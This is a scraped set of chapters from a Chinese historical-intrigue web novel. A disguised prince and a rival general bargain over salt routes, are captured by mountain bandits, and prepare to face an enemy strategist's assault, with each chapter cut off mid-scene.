《白首相知犹按剑》 2. 第 2 章 《白首相知犹按剑》全本免费阅读 那人对此却全然忽视,只挑自己愿意的来说,他朝着山路望去,含笑道:“纵岳山北面,是翼州。” “听闻此次休战盟约,参与势力包揽中原数十股,这其中便有西州昭川的虞氏一族。” 此人一双凤眼,低垂望来时黝黑深邃,似将人直直看透:“虞氏是周令的人,此次赴约带足了二百兵马,为的就是在盟会后拦截从梌州前来赴会的晋赭王。” “杀之,以绝后患。” 秦祉微微绷紧身子,北风一过浑身颤抖不止,却仍一言不发,像只受伤的豹,死死盯着立于马上的男人。 他知道她是谁。 “别这么看我。”他动作利落翻身下马,屈膝半跪在秦祉面前,将身上玄色雁翎裘皮斗篷搭在了她肩头,而后伸手揽着领口,笑问,“暖和吗,殿下?” “虞氏不厚道啊,行动畏畏缩缩不说,竟逼的堂堂晋赭亲王置如此地步。”他叹了口气,手臂一用力,将人从雪地中带起,眼里多了几分兴致,“跳崖啊殿下,你胆子够大,人也够狠。” 他云淡风轻的清理了几下秦祉外袍的积雪,说:“我奉命在此等候虞氏,不曾想虞氏没来,倒是等到了殿下你。” 她也不客气,直接将兜帽扣在头顶,这人血热,斗篷内温度极高,暖洋洋的裹着,不过几时便恢复了知觉。 而后秦祉拍开他的手,哑声道:“你等不到虞仓寅的。”她不动声色地从这人身上扫过,对其身份也同样有了答案。 燕安西处边陲以一山脉连河川一分为二,江北为西州,江南为兰干,传闻兰干地广物博,英雄才俊辈出,其中赫赫有名的当属几大骁勇善战的将军。 而此人,手持银戟,精雕玉琢,眉飘偃月,目囧曙星……恐怕他就是兰干以一敌十万大军的常胜将军。 柏萧鹤。 秦祉偏头咳了两声,故意试探:“兰干缺盐了,对吧。” “柏将军。” “噌”。 银光乍现,一把环首刀直抵秦祉脖颈,那属下眼神冰冷的像视死人。 果然是他。 秦祉面不改色,只抬起眼帘,一眨不眨同那道审视而隐晦不明的视线交互。 他闻言眉梢一挑:“凭什么猜的?” “我若说胡乱猜的,你也信?” “总有凭据。” 秦祉言简意赅:“奉命。” “奉命?”柏萧鹤略一思索,了然夸赞道,“殿下聪明。” 是他的那句话,有漏洞。 秦祉说:“西州北面环海,盛产白盐,各地过冬存盐本应在几月前就备好了,可今年兰干因为突如其来的战事,如今粮草白盐稀缺,急需从西州往南边运盐。” “而运盐的必经之路,乃是虞氏掌管昭川境内的渌水河,但河道开阔,城楼上架强弩可一攻无余,因此运盐一事,势必要同虞氏交易。” 因而这个时机奉命带兵在纵岳山守株待兔,拦截虞氏之人,唯有兰干将军。 气氛徒然变了。 空气中凝结的冷意和杀气远比这风雪要更加瘆人。 这一番言论简直把这一行人的行踪目的摸得一干二净,饶是柏萧鹤的神色都冷冽下来,眼底氤氲着情绪,幽深莫测,叫人不寒而栗。 刀锋已经微微刺进皮肤,染上几滴鲜血。 秦祉只是微微喘气,寸步不让,足有数秒的寂静中,她这才发觉,此人鼻梁上有一颗并不明显的痣。 半响,柏萧鹤指尖抵掉属下的环首刀,明明动作轻缓,却不容置疑。 “等不到虞氏是何意?”柏萧鹤淡淡开口,眸中满是警告之意,“殿下,想好再开口。” 秦祉的呼吸越发滚烫,眼前有些许发黑,她微微晃了晃头,咬牙硬撑着:“你的目的是运盐,而虞氏一族数十余人惨遭兰干花中郎将杀戮,因此断然不会叫你们轻易达成目的。” “这二百人,倒底是杀我,还是防你?”秦祉笑道,“尚未可知啊,柏将军。” 说完,她又猛地弯下腰咳了半天,一时脱力,手撑回了雪地。 柏萧鹤垂下眼睑,就那样盯着秦祉的脑顶,直至她缓和下来,他才朝着秦祉伸出右手,唤道:“殿下。” 秦祉微微抬起头,手搭在柏萧鹤掌心,即便未有斗篷加身,他的指尖也仍是温热的。 “我附赠你一情报,虞氏早已经得到消息,绕道而行。”秦祉秦祉抓紧他的手指用力一拽,柏萧鹤顺着力道往前上了半寸,垂眼笑着,两张面容靠的如此近,甚至能感受到彼此呼吸。 “那,如何拦截虞氏。”他目光锁定在眼前即便看似狼狈,但举手投足间皆是贵气的人,道:“请殿下指条明路?” 语气轻浮,像蜻蜓点水,带着些许说不清道不明的挑拨。 “交易,柏将军。”不过一掌距离,秦祉盯着他的漆黑的眸,轻声道,“万事都要交易。” 二人对视良久。 柏萧鹤看着她,说:“殿下,你病了。” 他手背轻轻贴近秦祉脸颊,寒冬腊月中像是捧着暖炉,而后他展眉笑道,语气满是凉薄:“瞧,都病糊涂了,殿下。” “我为什么要答应你的条件?” ---- “因为路途蜿蜒曲折,那人身手狡猾,我等跟丢了。”属下跪地回报,“属下已派人四处搜寻,就怕是......” 司缇微微抬手,止住了他的解释:“那人乃是先帝死士组织朔昭阁的女官,自然身手了得,叫人都回来吧,此次没有截杀成,便难再下杀手。” 他目光幽幽,宛如透过悬崖看清逃走的秦祉,轻言道:“也算是低估了那小亲王,玩起命来......疯的很。” 天光乍现,赤日破开云层,重峦叠嶂中洒下万道金光,雾气缥缈缭绕,犹如仙境。 司缇取下角弓,反手抽出三只铁箭,缓缓拉弓,雾气散开,凝结在他睫毛之上,遮挡着视野,他阖眸上弦,白玉扳指衬得手指格外匀称,发力时脉络清晰可见。 骤然三箭齐发,穿杨贯虱破空而下,争鸣百里,空谷绝响。 他静置片刻,道:“整队,回翼州。” ---- “唰唰唰” 三只箭羽狠狠钉穿树干,秦祉瞥了一眼,不动声色后退半步,说:“因为兰干不好谈。” “想必正是因为虞氏寸步不让,谈判未果,才出此下策,可虞氏作为西州有名的士族,断然不是吃素的。” 柏萧鹤看了一眼箭羽,似想到了什么,倏尔弯唇。 秦祉见状冷静继续道:“但本王不同。” “即便西州与梌州相隔甚远,但本王曾与虞氏有些交情,更遑论虞仓寅并不想同兰干交手,这一打,若是西州牧派兵南下,昭川便是瓮中之鳖。” 秦祉再度后退半步,说:“柏将军,这如意算盘可还满意?” 话音未落,剑已抵喉。 秦祉呼出一口气,她感觉头开始阵阵发晕,但握着剑柄的手仍然很稳。 “将军!” “退后。”柏萧鹤冷声道,收敛恣肆笑意的眉眼凛冽淡漠,“殿下此举,着实出乎我的意料。” “虞氏背后效命之人,是你。” 秦祉说:“人心悬反覆,天道暂虚盈,你若愿意,未尝不是你。” 柏萧鹤睨着她,似在思索,片刻后双眸微眯,透出一丝玄机。 秦祉福至心灵,瞬间抽剑翻身扑向空地落雪,果不其然,回头望去只见柏萧鹤银色长戟已然从她刚刚站位凌然划过,破风钉在地面,掀起尘埃。 “躲得倒快。”柏萧鹤微微挑眉,下一刻见那矫捷身影一晃,眨眼间冲到面前。 柏萧鹤当即一提长戟,手指用力一翻调转杆柄,她伏身冲上前,而后反行侧翼,剑尾勾住月牙锋刃空中横转一圈,剑锋直指柏萧鹤,被他轻巧一破,躲开了。 两下交锋,两人短暂停手,秦祉立刻冷笑一声,讥讽回去:“彼此彼此。” “虞氏坐地起价,是你授意?” 长戟锋刃过,秦祉侧身避开:“我说了,这是花中郎将之过。” “一月前虞仓寅尚且安适如常,怎偏偏 3. 第 3 章 《白首相知犹按剑》全本免费阅读 “将军,属下以为,这晋赭王实在是有问题。”浮生打量着横倒在马车内的人,说道,“且不说他设计引我们前来,若是我们没有出现在这纵岳山上,他又当如何。” “单是那秦赜,当年天下谁人不知相国府被灭门之时,无一活口,怎么眼下竟能怀疑到兰干头上?” 柏萧鹤倚靠着车舆,闭眼小憩:“兰干只要有一日要运盐,我们便势必会动身去见虞氏,只要出了兰干,他有的是办法找上门来。” “至于相国府,不有传言说这秦家女公子,也逃过一劫,不知所踪。” 浮生说:“这我也有所耳闻,还是花中郎将传来的消息,只是至今多年,这二人都不曾再露面,我还以为传言有假。” 玄色大氅盖在身上,秦祉整张脸埋在其中,独留一双眼,睫毛随着呼吸微动。 浮生多看了两眼,只觉这晋赭王身上谜团颇多。 “将军,属下仍有不解,如今他一个亲王,单枪匹马跟着我们行动,也不怕偷鸡不成蚀把米,反遭挟持?” 柏萧鹤闻言睁开眼,嗤笑一声:“他既然敢这么做,至少亲信之中,定留有口信,若是眼下出了事,这口锅便实打实落在了我头上。” “不出三日,柏萧鹤格杀晋赭王,意图谋逆的罪名便能传遍中原。” 柏萧鹤伸手捏住了秦祉脸颊,苍白的脸精致的像个女人,他端详几许,道:“这人,行事作风,阴的很。” “咳咳…水……”秦祉大概是被柏萧鹤这一下整醒的,发丝略有凌乱地散在耳侧,清醒之余干涩烧灼感铺满嗓子,开口声音都听不清,嘶哑的不成样子。 一只手从脖颈后穿过,将人带起身,而后温水顺势贴着嘴唇灌了下去。 “咳咳……”水猛然灌下,秦祉一呛咳了好半天才勉强止住,她偏头躲开,微怒道:“你想,呛死我…?” “对付着喝吧殿下,在下这辈子都没这么伺候过人。”柏萧鹤挑眉笑着,脸上是一贯的玩味散漫,将杯碗搁置,“这不是你的晋赭王府,有水就不错了。” 秦祉支撑着坐起,抬起车帘朝外看去,林间景色变幻,复道两侧并不开阔,一路颠簸着,百米之外,隐约是一片……波光粼粼的河面? “这是哪?”秦祉回头问,“你要带我去哪?” 柏萧鹤姿态放松,支起一条腿,垂眸时耳饰碰撞发出轻微响声:“找个人肉贩子,卖了。” “你……”秦祉皱着眉,刚想说些什么,马车骤然颠簸起来,而后停在了半路,将她的字音吞了回去。 秦祉再度偏头看去,这一眼着实没了话。 柏萧鹤冷眼瞧着,并未出声,于是浮生上前代为询问:“出了什么事?” 秦祉微微一哂,无畏的朝后一躺,卧在软绵的羊绒褥子中,语气嘲弄道:“买家来了呗。” “买家?”浮生诧异地看她一眼,“什么……” 人肉贩子,这四个字兀自钻进了脑海。 他微微错愕看向柏萧鹤。 “贵、贵人……”马车外,车夫声音都在发抖,看样子似乎吓得不轻,“别、别杀我……” 浑厚的嗓音在外边嚷嚷大笑着:“马车上的人都给老子滚下来!” “艹,这他妈还是辆镶金的马车,肯定能换不少钱。把人杀了马车抢走不就得了?” “你傻啊!”有一人一巴掌呼他头上,“坐的起这种车,人捆了要赎金不更赚?再不济把人卖了也能换钱……” 秦祉听到这,手指轻轻敲了敲车舆:“瞧,这不就是,乌鸦嘴。” 这人不像刚中毒受伤的,反而一脸兴致盎然。 “柏将军,看在你我如今被绑在一条绳子的份上,聊聊?”她单刀直入,捡起刚刚没有回信的话继续问,“这,是哪?” “西州昭川郡外。”柏萧鹤说,“浮生收到情报,虞氏......” 他故作停顿,偏头看她,一字一顿说:“遭刺杀,二百人命丧纵岳山。” “什么?”秦祉惊的直接腾跃起身,“那虞仓寅呢,还活着吗?” “没找到尸首,所以来昭川一探究竟。” 交易筹码还没摆上台子,就直接被人掀了桌,虞氏如今下落不明,秦祉心沉了下去,但来不及多想,眼前帷幔已经被刀霍然掀起。 那人厉声喝道:“下车!” 秦祉裹着大氅,被柏萧鹤随手一带,跳下马车。 面前围了大概几十号人,从穿着打扮上看,八成是这附近哪座山上的山匪。 领头之人站在人群中央,手握大刀,阴翳地打量着他们。 “你的属下呢?”秦祉唇不动声先出,同柏萧鹤悄悄咬着耳朵。 “没跟来。” “你一个兰干将军闯西州昭川,连个人都不带?”秦祉绝望的闭眼。 柏萧鹤微微侧目:“这不跟了一个。” 站在前方的浮生脊背突然发凉,不知怎么总觉得有谁不怀好意。 秦祉拢了一下衣领,保住了身上的暖意,她身上的毒素虽解,但后劲未消,仍觉得手脚发软。 那车夫是被花钱雇来的普通百姓,身边能战的,便只剩下柏萧鹤和浮生二人,也不知他们俩对上这几十人,胜算多大。 秦祉视线刚扫到柏萧鹤身上,就听到一声轻叹:“别想,这离昭川太近,打起来就暴露了。” 他嘴角噙笑:“殿下好算盘,指望着我们跟人打,你好坐享其成?” 秦祉也跟着干笑两声,伸手虚空抓了两下:“怎会,我也可帮忙。” 柏萧鹤静默地看她,没了声音,但秦祉却觉得这人心里指定没憋着什么好事。 果不其然,下一刻。 “啪”一声。 秦祉后背受力,被人推出去两米远。 只听那人懒散笑着,语气中多了一丝兴致:“各位,这是我们的...主人,在中原也是名门望族中的贵公子,你们若有需求尽可找他。” 柏萧鹤你大爷! 秦祉无声怒吼。 “头儿,看着打扮,果真是有钱。” 山匪头子扬起下巴,装出一副趾高气昂的样子,说:“你,过来。” 这种强撑出来的气势,在秦祉这种养尊处优的王爷面前,完全落了下风。 秦祉纹丝未动,目光淡漠地像是看一只畜生:“如今西州 4. 第 4 章 《白首相知犹按剑》全本免费阅读 “认识?”柏萧鹤察觉到她的异常。 秦祉收敛了神色,短暂地摇了摇头。 虽不知此人是否是她所知道的那个齐庞,就算是,距离虞仓寅那段话都已过去多久了,从阮义手下到现在落草为寇,中间尚不知发生了何事,此人能否值得信任,也未可知。 秦祉微微抿了下发凉的嘴唇,低声说:“有些麻烦。” 几个时辰后,秦祉他们跟着进了山寨。 一片荒野山川中,隐藏于山头的,竟是一座村落。 一行人大摇大摆的走进去,一间青砖木材的破败小屋内,小姑娘趴在门缝里,睁着大眼睛朝外看去。 刺骨的冷风卷席着山脉,但她身上的衣裳却很单薄,露出一截脚腕微微泛红。 她手指扒着门缝,视线在几十号人中来回扫视着,最终对上那道幽幽地视线,黑色瞳孔泛着冷意,她被吓了一跳,猛地往后退了半步,木门“嘎吱”一声发出声响,吸引了所有人的注意。 “啊!”小姑娘像是闯了祸,双手捂住了嘴,“好可怕……” 柏萧鹤面无表情挺身而立,风将额前碎发吹起,描摹刻画着五官轮廓,眉眼深邃,确实很能唬人。 秦祉偏头短促的笑了一下。 “好笑吗?”声音像是从牙齿缝发出来的,贴着耳朵钻进来。 “传说兰干的小孩不听话,家中长辈会拿出柏大将军的名号来吓唬人,无论再怎么哭闹的孩子,听了这几个字,都能瞬间止啼。” 说着,秦祉上下扫视了他一番,点头叹道:“今日一见,果真不同凡响。” 说完秦祉抬脚便走,溜得倒快,丝毫不给对方回嘴的余地。 倒是齐庞手一挥,指着那孩子骂道:“你这孩子躲那看什么,回里屋避风去。” 小姑娘被吓的又是一抖,着急忙慌转身跑走了。 “山寨里,还有这么小的孩子啊。”秦祉观察着齐庞的表情上的细枝末节,慢慢跟在身后。 不过这人虽是一介山匪,到底曾经在阮义手下做事,这话一出他反而有了防备。 齐庞沉着脸盯着她,没有回答,而是直接吩咐道:“将人关进牢里,身上带的那些首饰、钱财都搜刮干净,连着马车一起,叫二弟带几个信得过的人卖了,换粮食和冬季的衣服回来。” “贵人、贵人...”车夫原本就紧绷的精神在听到牢房的那一刻彻底崩溃,他惊慌失措的想要凑到齐庞面前,又被人一脚踹开。 “老实点,你想干什么!” “活腻了是不是?滚开!” “救救我,我没有钱...我不想死...”他被踹倒在地,这几脚力道不轻,车夫蜷缩在地颤抖抽搐着,嘴里的求饶声渐渐听不太清。 反观另外三人,甚至称得上悠闲,秦祉微微叹气,说:“他不过是我在附近雇的百姓,也要陪着我们一起吗?” 齐庞缓缓开口:“你先管好你自己,能活着离开这里再说吧。” 说罢他一挥手,乌泱泱的围过来的人七手八脚地将他们四人推进了地牢。 地牢内阴气很重,雪水顺着缝隙淌下,积蓄在地面。 漆黑一片中,唯有墙壁上的一只红烛,幽幽泛着光。 “啧。”柏萧鹤身上叮叮当当一身的装备,腰间的玉组佩,额顶的饰珠,腕上的手串和指骨的扳指,被卸了个干净。 没了挂身的累赘,行动倒是更方便了,但看样子心情反而并不太美好。 地面湿冷,秦祉用手背碰了碰,说:“他们不会一直放任我们在这,无论如何也要来谈,现在入冬,山里本就冷,如今落雪要化,这里不易久坐。” 她抬眼看向那名车夫:“身上的伤严重吗?不要紧的话就从地上起来。” 躲在角落的车夫扶着墙站起来,小声问:“我们会死吗?他们会杀了我们吗?” “不好说。”秦祉道,“齐庞这人疑心很重,也不愿意多与我们交谈,套不出什么话啊。” “但眼下是不是有些被动,我们便只能在这空等着?”浮生问。 秦祉扬起下巴:“这要问你们...” 倏尔语气一顿,视线无声瞟过车夫,“将军”二字没有出口,她转了转眼眸,佯装微怒,狡黠道:“怎么给你主人安排的行程,现下落得这般境界,你可知罪?” 这番拿乔来的突然,浮生在旁边看傻了眼,只见他家主子弯眉笑了一声:“你还能比现在更狼狈,你可相信?” 秦祉看他一眼,当作没听见,步入正题:“若是没机会走,你的那些人可有办法沿途寻过来?” “那么你的人呢?”柏萧鹤反问,“这纵岳山,总不至于真只有你一人涉足。” 秦祉淡笑不语,若有所思。 “老大,兄弟几个已经动身朝着淮陵沿路去了,剩下那四个人打算怎么办?”那人喝下一大碗滚烫的水,从喉咙一股脑暖到胃中,周身都跟着热了起来,“现在还不知那小子是什么来历,这几人,除了那个车夫,听着口音都不像咱西州这边的人,我怕万一......” “你少在那边忧心忡忡,怕什么?怕他们背景大,好有人来寻仇?”自有别人打断了他,“咱们都在这山头呆了多久,来来往往也干了不少这档子事,又有哪个人敢来找事?” “就说老大齐庞这两个字放的出去,谁敢说不敬畏几分?” “话虽如此,可那几人你也看到了,和之前我们遇见的人哪里是一样的?这么多年除了混战时偷偷瞧见过的几个将领,哪里有人还有那气质?” 两边你一言我一语,互不相让,主座上,齐庞终于开了口,冷声说:“够了。” 他环顾四周,见众人不再争吵,才继续道:“你们说的都有道理,这三个人的确不能小视,但如今落在我们手里,在座各位兄弟也不是怕事的,便让他们在牢里带上一段时间,杀杀他们的锐气再说,三儿,一会儿你陪我下去问话。” “好。” 几人说这话的功夫,苍穹之上,展翅翱翔一只苍鹰,褐羽折射出光芒,从远处山巅俯冲而来,振翅徘徊几许,又从山寨另一端消失。 山中白雪皑皑中,马车的车辙伴随着凌乱的脚步蹄印,留下一道明显 5. 第 5 章 《白首相知犹按剑》全本免费阅读 秦祉微微抬起眼帘,呢喃一句:“成他试探我了。” “虞氏家主虞仓寅,三日前携二百兵马前往翼州樵阳,参加休战盟约,然我下官调查得知,其在返回昭川的途中,包括虞仓寅在内的二百人,命丧纵岳山。” 浮生无声看了秦祉一眼,又回头观察齐庞的表情。 晋赭王在利用虞氏之死的不确消息,诈齐庞。 果然齐庞眼神闪烁,怀疑的视线打量着她:“你是如何知晓的?” 秦祉微微一哂:“西州是个好地方,昭川则更是,虞氏作为当地豪强,坐拥盐场,掌管河道,盯上他的人不在少数。” “尤其以兰干为首。” 柏萧鹤眼皮一跳,了然于心,却随她去说。 “兰干常胜将军柏萧鹤,柏浪昭,因运盐一事早已奉命在纵岳山截杀虞氏,我...”秦祉一顿,继续说,“恰巧路过,因而撞了个正着。” “你若不信,可以去问我的属下。”秦祉伸手一指,齐庞眼神追随过去,看向卓然而立,表情散漫的柏萧鹤。 柏萧鹤微微眯起眸,勉强配合:“嗯。” “...这不可能。”齐庞缓慢摇头,“孟先再怎么说也不可能......” “若真是柏萧鹤为了运盐杀他...”齐庞有些语无伦次,他分不清这些门阀士族之间为了利益的弯弯绕绕,自然也就想不到虞氏之死意味着什么,眼前这人不知道是什么身份,却对虞氏行程了如指掌。 更何况,他的确了解过一件事,便是前日时,昭川郡内就已戒严,看样子形势严峻。 原本尚不知原因为何,可如今看来...... 齐庞想到此处,猛然收回乱七八糟的思想,瞪着她厉声说:“那你又是谁?你是怎么知道这么多的?” 秦祉故意没有解释,只是淡漠地看着眼前状态不太好的男人。 时间缓缓流逝,环境黑暗,烛火幽深,气氛也被衬托的越发诡异。 “你究竟是什么人?” 秦祉仍然保持沉默,以此逼他率先承受不住。 果不其然,齐庞两只手狠狠抓住了栏杆,常年受阴冷潮湿侵袭生出的锈蹭了他一手,可他浑然不觉,一味讨个说法,咬牙道:“你说,你说啊!你到底是谁,如果再没有答案,我现在就杀了你!” 秦祉微微仰头,给了反应,却并非齐庞想要的,她淡淡做出结论:“你对虞仓寅感情很深?” “你他妈!”旁边的三儿终于忍不住骂道,“老大问什么你就答什么,你故意找死是不是?” 说着他提刀便砍了过来。 秦祉顺势头微微后仰,便是算准了距离,脚下动都未动。 刀刃携带的气流微微吹起她额前碎发,整个人稳如泰山,秦祉微微勾唇,轻声说:“气势太弱,刀法也一般。” “我艹你妈!”三儿气的就要拿钥匙开锁,想冲进去把这人乱刀砍死算完。 浮生见状微微挡在柏萧鹤身前:“将军,瞧这气势,该不会溅我们一身的血吧?” 柏萧鹤拍了拍他肩膀,示意他让开。 “你们曾是农民。”秦祉面不改色,说,“为何要落草为寇?” 话一出,三儿的动作也一下子僵住了。 齐庞手微微颤抖,按住了三儿的身子:“你到底是......什么人?” 反应不是作假,秦祉心中有了答案,于是退了两步,与柏萧鹤并肩,她微微歪头:“如何?” 柏萧鹤点头赞道:“尚可,浮生。” 浮生上前一步,微微躬身:“并非有意试探你们,原是他身份特殊,若不确定你的立场,实难开口。” 说着他手掌向上摊开,示意道:“这位,乃是梌州晋赭王,昭川虞氏家主虞仓寅的旧识。” “...晋、晋赭王?”三儿的呼吸变得急促,他下意识后退半步,人直接撞到了墙壁,“晋赭王,为什么会出现在这里?” 齐庞显然也吃了一惊,但却用力逼自己思考这话的真假。 “虞仓寅曾同本王说过,他有一旧友,乃是西州淮陵之人,而后曾到阮义手下做事,以此为他传递情报。”秦祉说,“我能否知道,你为何会出现在此地,成为山匪?” 齐庞脑子里已是一团乱麻,他为虞孟先做探子一事,鲜少有人知晓,如今这晋赭王了解颇多,或许他当真所言不假… 半响他才开口,声音沙哑:“孟先他...当真......” “实不相瞒,二百兵马死于纵岳山一事不假,但虞仓寅的尸身并未寻到,因而本王怀疑他或许尚在逃命。” “是柏萧鹤...” 秦祉一顿,下意识抬眼,见那人好以整暇地看过来,她说:“这、不是。” “原是用来诈你反应的,假话、假话。” 齐庞像是失了力气,听到后双手垂落下去,肩膀也跟着垮下,他深深吸了一口气,说:“小民齐庞,见过殿下。” 层层薄云吹散开来,为这霞光万道让开了路,致使满山闪烁,晶莹剔透。 几人从地牢迈出的一刻,竟也说不上是更冷,还是暖和了,秦祉搓了搓手,忍不住跺脚。 中原即便是冬天,也甚少下雪,更不必说梌州还要往南半寸,与西州差了十万八千里,秦祉便更难忍受这刺骨的冷意。 “来这寨子前,我见你们这还有半大的小孩,是怎么回事?” 齐庞叫人去烧点炭火,将房门关上了,隔绝了外面刮起的阵阵余风,要比牢里好上太多。 “这都是附近的村民。”齐庞说,“我之前也说过,西州如今各势力分散,谁也不服谁,除了孟先的昭川一带还算不错,其他地方都乱成了一团,彼此间战役打的没完没了,四五个月也未见消停。” “阮义手下留在西州的,就他妈是个疯子,一路打一路杀,百姓死的死,逃的逃,如今还剩下的,我能收就收了,躲在这一时也算好的。” “既然你同虞仓寅是朋友,为何不找他相助?” 齐庞摇头:“我原本就已深受他恩惠,当年在阮义手下时,曾差点暴露,这才不得不逃,若我再联系孟先,便是让所有人知道了,孟先派卧底的事,如此,阮义必然会派人出兵昭川。” “届时昭川该如何应对?孟先要如何,百姓又要如何?” “若战败,昭川唯有南下渡河,才是唯一活命的机会。”秦祉单手支撑着案几,微微吹散热气,抿了一口,意味深长的看着柏萧鹤,“可江南,是兰干。” “是的,兰 6. 第 6 章 《白首相知犹按剑》全本免费阅读 “不太妙啊。”秦祉感叹道,伸手指了指自己,又指向了柏萧鹤,“西州势力,若是不熟也就罢了,若是熟识...” “你我二人直接成了瓮中之鳖,上赶着给人添功绩呢。” “要是在这栽了,那可当真‘名垂青史’”柏萧鹤食指与拇指相对,抵在唇边,一声清脆悠长的哨音响彻整个山谷。 秦祉静心去听,隐约听到振翅声从林中穿行。 不过几时,一只苍鹰赫然冲出,收翅降落到柏萧鹤肩头。 苍鹰脚下竹筒中存有一纸信纸,柏萧鹤将其抽出展开,只干净利落地流留下一句话,字体潦草,可以看出用笔之人何种急迫,上面写道: 司徒阮义的谋士,张陏,带兵上山围剿。 “张陏。”秦祉动作一顿,“这人如今怎么在西州?” 柏萧鹤将信纸递给浮生,说:“这回真是熟识了。” 另一端,这几人一路跑来动静闹得很大,如今那屋子里里外外围了不少人,挤在门口议论纷纷:“到底出了什么事?” “好像是老二下山换粮食,受了伤回来的。” “我也瞧见了,几个人搀扶着回来的,那边一地的血啊......” “会不会是...有人寻仇啊?” “如今我们连这山寨也呆不下去了吗?”声音忧心忡忡,带着绝望的叹气。 三儿无奈只能挡在门口,嘴里喊着:“都别乱猜了,谁再胡说八道等大哥一会儿出来,要你们好看!” 齐庞管不了那么多,直接破门而入,一股浓厚的血腥气扑面而来,里屋的床榻之上,老二胸部中箭,鲜血顺着衣襟蔓延,赤红一片。 “老二!” 齐庞手一软,将小孩扔在了门外,三步并成两步直愣愣冲到了旁边,声音发抖:“你这是......怎么了?为什么会重伤,到底发生了什么?” 他扯过纱布怼在源源不断渗血的伤口,不住的喃喃道:“大夫,得找大夫.....三儿、三儿!” “去山下找大...” “大、哥......”老二手指微微动了动,勾住了齐庞的衣袖,他喘着气,声音断断续续传出,“没、有用、了...” “不,你再坚持一阵,可以的,来得及,一定来得及!” “哥,你听我、说。”老二极力仰头,拽着齐庞的服饰,“他们、是、是从淮陵来的...为首的人,我听见、他们叫,张陏先生......” “足足几十人......已经、到山下了,大哥,带着大家...快走!”他说着,竭力把齐庞的手推了出去,嘶哑着吼道,“走!” 这力道许是用尽了他最后的一丝力气,齐庞猝不及防,身子一歪摔倒在地:“老二......” 他深知老二的意图,山寨里除了几十个兄弟外,更多的则是手无寸铁的妇人幼童,眼下再不逃,等到张陏的人马上山后,便是想走也走不成了。 可如今老二还吊着一口气,又让他如何能够眼睁睁看着人送死? 齐庞咬着牙起身走了出去:“三儿,去问问大伙有谁懂点医术的,给老二包扎,让其他兄弟都把武器准备着,叫上所有人,我们现在马上离开这!” “出什么事了?为什么突然要走?” “老二让谁伤了?到底发生了什么?” 周遭一片哗然,齐庞阴沉的脸色,老二身上的重伤,弥漫在空气中的腥气,紧张的氛围逐渐弥漫,侵袭着每一个人的神经。 “快去!” 一声怒吼唤醒了在场的每一个人,三儿连忙应着,边跑边喊着,每个人都脚步冲冲的朝着自己家跑去,粮食、衣服、武器,能拿的东西都往行囊里塞,但终归山寨本也没有多少物资够他们拿了。 “你了解张陏吗?” 一道沉着冷静的声音稍稍拉回了齐庞的神智,齐庞朝那人看去,只见秦祉进了屋子,看向了重伤卧榻的老二。 “张陏是阮义的谋士,此人行事作风狠毒果决,一向是‘剑出鞘必见血’,五年前曾跟随阮义一起入主都邑城,搅的都邑那叫一片混乱。“秦祉微微掀起纱布,又按了回去,“可城中百官硬是拿他没有办法,因为抓不住把柄。” “我可直白同你说,你若此时带人下山,定会中计,被他围剿。” 秦祉朝着柏萧鹤微微摇头,视线扫过床上的人,“伤口从前胸贯穿脊背,血流的太多,长箭不能轻易拔出,不然必会马上血尽人亡,怕是救不活。” 柏萧鹤三指把住脉搏,以及十分微弱,几近为无了。 “大哥,我想、喝碗茶水...”老二呼吸到了只出不进的地步,他视线已经变得模糊,声音也逐渐听不清楚。 秦祉注视着他,说:“齐庞,去倒一杯水吧。” 一滴泪不自觉的从眼眶中落了下来:“我去,我去倒...” 齐庞转身的那一刻,秦祉同柏萧鹤也退了出去,屋内无声无息,唯有那道微弱的呼吸,从秦祉耳中消散了。 “他走了。”秦祉平静道。 “那种致命伤,撑到现在已是不易。”柏萧鹤说,“眼下要紧的,是如何解决张陏。” 秦祉目光放在远处,背着包裹的妇人,手无缚鸡之力的老者,迷茫无辜的幼童,曾经质朴老实如今却不得不拿起武器的百姓。 她轻声说:“斩截无孑遗,尸骸相撑拒,马边悬男头,马后载妇女。【1】” 柏萧鹤心领神会,盯着秦祉的侧脸,小幅度弯起唇角,眸光潋滟:“浮生。” 浮生直起身,视线明亮锐利,等候差遣。 “备战。” 齐庞手里端着一杯水,急冲冲从二人身旁窜了过去,带起的风微微掀起秦祉衣袍,几秒后,只听见一声压抑到极致的哀嚎从门缝挤出。 床榻上老二表情安详,手中攥着一只带血的羽箭。 ---- “我们此时下山,殿下为何会说是中了张陏的计?”齐庞眼睛通红一片,人也显出了疲态,可山寨还有许多人在等着他振作起来,因此他不得不强打起精神。 “你以为,张陏攻击这些人后,为何独独留了两人上山传递情报?为何他们没有即刻跟上山,杀你们一个措手不及?” “这座山的舆图拿出来。”秦祉手指点着案几,“恐怕此山易守难攻,张陏不清楚山上情况,不敢轻易涉足,唯有派伤者上山,扰乱你们思绪,一旦你们因为过于恐慌马上下山逃跑,他便可直接一网打尽。” 齐庞身后凉意传遍全身,只觉得浑身冷的发抖:“他这样对付我们?” 不,是为晋赭王。 柏萧鹤心道,你们也值得那张陏如此费心,一路从都邑城杀到此处? 他们都明白张陏的目的,但此话却不能告知齐庞,即便齐庞不会做出出卖秦祉的事,但下面还有百十人等着活命,做出什么失智之事也未可知。 舆图展开,秦祉微 7. 第 7 章 《白首相知犹按剑》全本免费阅读 秦祉眼神变换,笑意沁染,她手撑着脸,说:“本王以为,柏将军对此并不感兴趣。” “稀奇的事儿,如何不在意?”柏萧鹤同样语中带笑,一双凤眼含情勾人,“五年前发生的事可不在少数,天子玉玺不也是在那一天凭空消失了么。” ! 他是如何知道,天子玉玺在那天消失的? “你说什么?”秦祉佯装震惊,“玉玺不见了,这怎么可能?” “那日过后,西州牧阮义受封,官任司徒,你是想说,天子用的玉玺有假?” “殿下,有没有人说过你演技很烂。”柏萧鹤说,“换作别人演演也就算了,何必在我面前装模做样。” 秦祉神色相当自然的收敛了回去,垂眸看向面前有个缺口的茶杯,又微微皱眉:“本王同秦賾是总角之交,感情颇深。” “当夜,秦家上下百人,皆惨死于府中,一场大火熊熊燃烧了整整一夜,第二日满府尸身烧的不成人样,都邑城人人自危、风声鹤唳,迄今为止幕后主使依然逍遥法外,本王因两家交情甚好,派人暗中追查此事,得知秦賾或许还保有一条性命。” “都邑城全城戒严,满城追兵的情况下,不知他是如何逃出去的,但顺着踪迹,南下天桂山处,发现了带血的玉簪,天桂山下的乌庆县,有人目睹兰干兵马带重伤男子经过,而此人,从穿着到外貌,描述皆与秦賾无二。” 